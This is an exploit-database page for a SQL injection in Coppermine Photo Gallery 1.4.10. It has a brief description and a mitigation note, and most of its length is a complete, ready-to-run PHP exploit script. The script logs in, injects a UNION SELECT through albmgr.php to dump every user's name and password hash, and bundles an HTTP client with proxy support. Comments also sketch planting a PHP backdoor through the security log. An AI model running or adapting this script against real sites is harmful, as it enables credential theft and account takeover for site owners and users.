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Coppermine Photo Gallery - exploit.company
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Suggest Exploit
vendor:
Coppermine Photo Gallery
by:
DarkFig
5.5
CVSS
MEDIUM
SQL Injection
CWE
Product Name: Coppermine Photo Gallery
Affected Version From: Coppermine Photo Gallery <= 1.4.10
Affected Version To: Coppermine Photo Gallery <= 1.4.10
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Coppermine Photo Gallery <= 1.4.10 SQL Injection

The Coppermine Photo Gallery version 1.4.10 is vulnerable to SQL Injection. An attacker can exploit this vulnerability to inject malicious SQL queries into the application's database, potentially leading to unauthorized access or data manipulation.

Mitigation:

Upgrade to a newer version of Coppermine Photo Gallery that includes a fix for this vulnerability. Additionally, ensure that user input is properly sanitized before being used in database queries to prevent SQL Injection attacks.
Source

Exploit-DB raw data:

#!/usr/bin/php
<?php
if($argc < 4)
{
       print "\n---------------------------------------------------------";
       print "\nAffected.scr..: Coppermine Photo Gallery <= 1.4.10";
       print "\nPoc.ID........: 19070104";
       print "\nType..........: SQL Injection";
       print "\nRisk.level....: Medium";
       print "\nSrc.download..: coppermine-gallery.net";
       print "\nPoc.link......: acid-root.new.fr/poc/19070104.txt";
       print "\nCredits.......: DarkFig";
       print "\n---------------------------------------------------------";
       print "\nUsage.........: php xpl.php <url> <adminuser> <adminpass>";
       print "\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
       print "\nExample.......: php xpl.php http://c.com/ admin passwd";
       print "\n---------------------------------------------------------\n";
       exit(1);
}


/*/
 [0] => xpl.php         [1] => http://localhost/cpg1410/
 [2] => root            [3] => toor
 [4] => localhost:8200  [5] => user:passwd
/*/
$url=$argv[1];$adu=$argv[2];
$adp=$argv[3];$pxs=$argv[4];
$pxa=$argv[5];

$xpl = new phpsploit();
$xpl->agent("InternetExploiter");
$xpl->cookiejar(1);
$xpl->allowredirection(1);

print "\nheader> ===============================================";
print "\nheader> Coppermine Photo Gallery 1.4.10 (SQL Injection)";
print "\nheader> ===============================================";

if(!empty($pxs)){
       print "\nstatus> Using a proxy $pxs";
       $xpl->proxy($pxs);
}

if(!empty($pxa)){
       print "\nstatus> Basic proxy authentification $pxa";
       $xpl->proxyauth($pxa);
}


/*/
 Table prefix.
/*/
print "\nstatus> Searching the version";
$xpl->get($url.'include/index.html');
if(preg_match("#Coppermine version: ([0-9]*\.[0-9]*\.[0-9]*)#",$xpl->getcontent(),$matches)) print "\nsploit> Coppermine version ".$matches[1];
else print "\nsploit> Not found";
$table = !empty($matches[1]) ? 'cpg'.str_replace('.','',$matches[1]).'_users' : 'cpg1410_users';


/*/
 If you have the admin cookie (but not the password),
 replace lines 73=>76 by $xpl->addcookie('yourcookie');
/*/
print "\nstatus> Trying to get logged in";
$xpl->post($url."login.php?referer=index.php","username=$adu&password=$adp&remember_me=1&submitted=Se+Connecter");
if(!preg_match("#color:red#",$xpl->getcontent())) print "\nsploit> Done";
else die("\nstatus> Exploit failed\n");


/*/
 (usermgr.php)
 =============
 case 'group_alb_access' :
 if (isset($_GET['gid']))  $group_id = $_GET['gid'];
 $sql = "SELECT group_name  FROM [...] WHERE group_id = $group_id [...]";
 $result = cpg_db_query($sql);

 (db_ecard.php)
 ==============
 $start = isset($_REQUEST['start']) ? $_REQUEST['start'] : '';  [...]
 if (!$start) {$startFrom = '0';}else{$startFrom=$start;}  [...]
 $result = cpg_db_query("SELECT [...] ORDER BY $sortBy $sortDirection LIMIT $startFrom,$countTo");

 (albmgr.php)
 ============
 $cat = isset($_GET['cat']) ? ($_GET['cat']) : 0;
 if ($cat == 1) $cat = 0;
 if (GALLERY_ADMIN_MODE) {
 $result = cpg_db_query("SELECT [...] WHERE category = $cat ORDER BY pos ASC");

 (filename_to_title())
 =====================
 $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
 $albstr = ($albumid) ? " WHERE aid = $albumid" : ''; [...]
 $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} $albstr");

 (del_titles())
 ==============
 $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
 $albstr = ($albumid) ? " WHERE aid = $albumid" : '';
 $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} $albstr");
/*/
print "\nstatus> Retrieving all members password";
$xpl->get($url."albmgr.php?cat=-1/**/union/**/select/**/user_name,user_password/**/from/**/$table/*");
if(preg_match_all("#<option value=\"album_no=(.*),album_nm='([a-z0-9]{32})'#",$xpl->getcontent(),$matches)) print "\nsploit> Done";
else die("\nstatus> Exploit failed\n");

print "\nsploit> +----------------------------------+----------+";
print "\nsploit> |             PASSWORD             |   USER   |";
print "\nsploit> +----------------------------------+----------+";


/*/
 (init.inc.php)
 ==============
 $HTML_SUBST = array('&' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => '&#39;', "'" => '&#39;');
 [...]
 if (is_array($_POST)) { // and GET, SERVER, REQUEST...
 foreach ($_POST as $key => $value) {
 if (!is_array($value))
 $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
 if (!in_array($key, $keysToSkip) && isset($$key)) unset($$key);
 }

 ... that's why we use the html_entity_decode() function.
 I just wanted < for a remote php code execution sploit without admin rights :'(.
 When the admin view the security logs, it include "security.log.php"...

 (security.log.php)
 ==================
 [...]
 if (!defined('IN_COPPERMINE')) die(); ?>

 Denied privileged access to viewlog.php from user Guest at  on January 4, 2007, 2:10 pm
 Failed login attempt with Username: &lt;?php mail(you); [...] fwrite(backdoor.php); [...] /* from IP 127.0.0.1 on Jan 04, 2007 at 01:16 PM
/*/
for($i=0;$i<count($matches[0]);$i++)
{
       print "\nsploit> | ".$matches[2][$i].' | '.html_entity_decode($matches[1][$i]);
       if($i==(count($matches[0])-1)){
       print "\nsploit> +----------------------------------+----------+\n";
       }
}

class phpsploit {

	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it, this is the main function.
	 *
	 * @return $server_response
	 */
	private function sock()
	{
		if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
		else $socket = fsockopen($this->host,$this->port);
		
		if(!$socket) die("Error: The host doesn't exist");
		
		if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
		elseif($this->method==="post") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
		else die("Error: Invalid method");
		
		if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
		$this->packet .= "Host: ".$this->host."\r\n";
		
		if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
		if(!empty($this->header)) $this->packet .= $this->header."\r\n";
		if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
		
		$this->packet .= "Connection: Close\r\n";
		if($this->method==="post")
		{
			$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
			$this->packet .= $this->data."\r\n";
		}
		$this->packet .= "\r\n";
		$this->recv = '';
		
		fputs($socket,$this->packet);
		while(!feof($socket)) $this->recv .= fgets($socket);
		fclose($socket);
		
		if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
		if($this->allowredirection) return $this->allowredirection($this->recv);
		else return $this->recv;
	}
	

	/**
	 * This function allows you to add several cookie in the
	 * request. Several methods are supported:
	 * 
	 * $this->addcookie("name","value");
	 * or
	 * $this->addcookie("name=newvalue");
	 * or
	 * $this->addcookie("othername=overvalue; xx=zz; y=u");
	 * 
	 * @param string $cookiename
	 * @param string $cookievalue
	 * 
	 */
	public function addcookie($cookn,$cookv='')
	{
		// $this->addcookie("name","value"); work avec replace
		if(!empty($cookv))
		{
			if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
			if(!empty($this->cookie))
			{
			    if(preg_match("/$cookn=/",$this->cookie))
			    {
			    	$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
			    }
			    else
			    {
			    	$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
			    }
			}
			else
			{
				$this->cookie = $cookn."=".$cookv.";";
			}
		}
		// $this->addcookie("name=value; othername=othervalue");
		else
		{
	    	 if(!empty($this->cookie))
	    	 {
	    	 	$cookn = preg_replace("/(.*);$/","$1",$cookn);
	    	 	$cookarr = explode(";",str_replace(" ", "",$cookn));
	    	 	for($i=0;$i<count($cookarr);$i++)
	    	 	{
	    	 		preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
	    	 		$cookn = $matches[1];
	    	 		$cookv = $matches[2];
	    	 		$this->addcookie($cookn,$cookv);
	    	 	}
	    	 }
			 else
			 {
			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
			 	$this->cookie = $cookn;			
			 }
		}
	}
	
	
	/**
	 * This function allows you to add several headers in the
	 * request. Several methods are supported:
	 *
	 * $this->addheader("headername","headervalue");
	 * or
	 * $this->addheader("headername: headervalue");
	 *
	 * @param string $headername
	 * @param string $headervalue
	 */
	public function addheader($headern,$headervalue='')
	{
		// $this->addheader("name","value");
		if(!empty($headervalue))
		{
			if(!empty($this->header))
			{
				if(preg_match("/$headern:/",$this->header))
				{
					$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
				}
				else
				{
					$this->header .= "\r\n".$headern.": ".$headervalue;
				}
			}
			else
			{
				$this->header=$headern.": ".$headervalue;
			}
		}
		// $this->addheader("name: value");
		else 
		{
			if(!empty($this->header))
			{
				$headarr = explode(": ",$headern);
				$headern = $headarr[0];
				$headerv = $headarr[1];
				$this->addheader($headern,$headerv);
			}
			else
			{
				$this->header=$headern;
			}
		}
	}
	

	/**
	 * This function allows you to use an http proxy server.
	 * Several methods are supported:
	 * 
	 * $this->proxy("proxyip","8118");
	 * or
	 * $this->proxy("proxyip:8118")
	 *
	 * @param string $proxyhost
	 * @param integer $proxyport
	 */
	public function proxy($proxy,$proxyp='')
	{
		// $this->proxy("localhost:8118");
		if(empty($proxyp))
		{
			preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
			$proxh = $proxarr[1];
			$proxp = $proxarr[2];
			$this->proxyhost=$proxh;
			$this->proxyport=$proxp;
		}
		// $this->proxy("localhost",8118);
		else 
		{
			$this->proxyhost=$proxy;
			$this->proxyport=intval($proxyp);
		}
		if($this->proxyport > 65535) die("Error: Invalid port number");
	}
	

	/**
	 * This function allows you to use an http proxy server
	 * which requires a basic authentification. Several
	 * methods are supported:
	 * 
	 * $this->proxyauth("darkfig","dapasswd");
	 * or
	 * $this->proxyauth("darkfig:dapasswd");
	 *
	 * @param string $proxyuser
	 * @param string $proxypass
	 */
	public function proxyauth($proxyauth,$proxypasse='')
	{
		// $this->proxyauth("darkfig:password");
		if(empty($proxypasse))
		{
			preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
			$proxu = $proxautharr[1];
			$proxp = $proxautharr[2];
			$this->proxyuser=$proxu;
			$this->proxypass=$proxp;
		}
		// $this->proxyauth("darkfig","password");
		else
		{
			$this->proxyuser=$proxyauth;
			$this->proxypass=$proxypasse;
		}
	}

	
	/**
	 * This function allows you to set the "User-Agent" header.
	 * Several methods are possible to do that:
	 * 
	 * $this->agent("Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent: Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent","Mozilla Firefox");
	 * 
	 * @param string $useragent
	 */
	public function agent($useragent)
	{
		$this->agent=$useragent;
	}

	
	/**
	 * This function returns the header which will be
	 * in the next request.
	 * 
	 * $this->showheader();
	 *
	 * @return $header
	 */
	public function showheader()
	{
		return $this->header;
	}

	
	/**
	 * This function returns the cookie which will be
	 * in the next request.
	 * 
	 * $this->showcookie();
	 *
	 * @return $storedcookies
	 */
	public function showcookie()
	{
		return $this->cookie;
	}

	
	/**
	 * This function returns the last formed
	 * http request (the http packet).
	 * 
	 * $this->showlastrequest();
	 * 
	 * @return $last_http_request
	 */
	public function showlastrequest()
	{
		return $this->packet;
	}
	
	
	/**
	 * This function sends the formed http packet with the
	 * GET method. You can precise the port of the host.
	 * 
	 * $this->get("http://localhost");
	 * $this->get("http://localhost:888/xd/tst.php");
	 * 
	 * @param string $urlwithpath
	 * @return $server_response
	 */
	public function get($url)
	{
		$this->target($url);
		$this->method="get";
		return $this->sock();
	}

	
	/**
	 * This function sends the formed http packet with the
	 * POST method. You can precise the port of the host.
	 * 
	 * $this->post("http://localhost/index.php","admin=1&user=dark");
	 *
	 * @param string $urlwithpath
	 * @param string $postdata
	 * @return $server_response
	 */	
	public function post($url,$data)
	{
		$this->target($url);
		$this->method="post";
		$this->data=$data;
		return $this->sock();
	}

	
	/**
	 * This function returns the content of the server response
	 * without the headers.
	 * 
	 * $this->getcontent($this->get("http://localhost/"));
	 * or
	 * $this->getcontent();
	 *
	 * @param string $server_response
	 * @return $onlythecontent
	 */
	public function getcontent($code='')
	{
		if(empty($code)) $code = $this->recv;
		$content = explode("\n",$code);
		$onlycode = '';
		for($i=1;$i<count($content);$i++)
		{
			if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
			if($ok) $onlycode .= $content[$i]."\n";
		}
		return $onlycode;
	}

	
	/**
	 * This function returns the headers of the server response
	 * without the content.
	 * 
	 * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
	 * or
	 * $this->getheader();
	 *
	 * @param string $server_response
	 * @return $onlytheheaders
	 */
	public function getheader($code='')
	{
		if(empty($code)) $code = $this->recv;
		$header = explode("\n",$code);
		$onlyheader = $header[0]."\n";
		for($i=1;$i<count($header);$i++)
		{
			if(!preg_match("/^(\S*):/",$header[$i])) break;
			$onlyheader .= $header[$i]."\n";
		}
		return $onlyheader;
	}

	
	/**
	 * This function is called by the cookiejar() function.
	 * It adds the value of the "Set-Cookie" header in the "Cookie"
	 * header for the next request. You don't have to call it.
	 * 
	 * @param string $server_response
	 */
	private function getcookie($code)
	{
		$carr = explode("\n",str_replace("\r\n","\n",$code));
		for($z=0;$z<count($carr);$z++)
		{
			if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
			{
				$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
			}
		}

		for($i=0;$i<count($cookie);$i++)
		{
			preg_match("/(\S*)=(\S*);/",$cookie[$i],$matches);
	    	        $cookn = $matches[1];
	    	        $cookv = $matches[2];
	    	        $this->addcookie($cookn,$cookv);
		}
    }

	
	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it.
	 *
	 * @param string $urltarg
	 */
	private function target($urltarg)
	{
		if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
		$this->url=$urltarg;
		
		$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
		$this->host=$array[0];

		preg_match("/:(\d+)\//",$urltarg,$matches);
		$this->port=empty($matches[1]) ? 80 : $matches[1];
		
		$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
		preg_match("/\/(.*)\//",$temp,$matches);
		$this->path=str_replace("//","/","/".$matches[1]."/");
	
		if($this->port > 65535) die("Error: Invalid port number");
	}
	
	
	/**
	 * If you call this function, the script will
	 * extract all "Set-Cookie" headers values
	 * and it will automatically add them into the "Cookie" header
	 * for all next requests.
	 *
	 * $this->cookiejar(1); // enabled
	 * $this->cookiejar(0); // disabled
	 * 
	 */
	public function cookiejar($code)
	{
		if($code===0) $this->cookiejar='';
		if($code===1) $this->cookiejar=1;
		else
		{
			$this->getcookie($code);
		}
	}


	/**
	 * If you call this function, the script will
	 * follow all redirections sent by the server.
	 * 
	 * $this->allowredirection(1); // enabled
	 * $this->allowredirection(0); // disabled
	 * 
	 * @return $this->get($locationresponse)
	 */
	public function allowredirection($code)
	{
		if($code===0) $this->allowredirection='';
		if($code===1) $this->allowredirection=1;
		else
		{
			if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
			{
				$location = str_replace(chr(13),'',$codearr[2]);
				if(!eregi("://",$location))
				{
					return $this->get("http://".$this->host.$this->path.$location);
				}
				else
				{
					return $this->get($location);
				}
			}
			else
			{
				return $code;
			}
		}
	}
	
	
	/**
	 * This function allows you to reset some parameters:
	 * 
	 * $this->reset(header); // headers cleaned
	 * $this->reset(cookie); // cookies cleaned
	 * $this->reset();       // clean all parameters
	 *
	 * @param string $func
	 */
	public function reset($func='')
	{
		switch($func)
		{
			case "header":
			$this->header='';
			break;
			
			case "cookie":
			$this->cookie='';
			break;
			
			default:
		        $this->cookiejar='';
		        $this->header='';
		        $this->cookie='';
		        $this->allowredirection=''; 
		        $this->agent='';
		        break;
		}
	}
}

?>

# milw0rm.com [2007-01-05]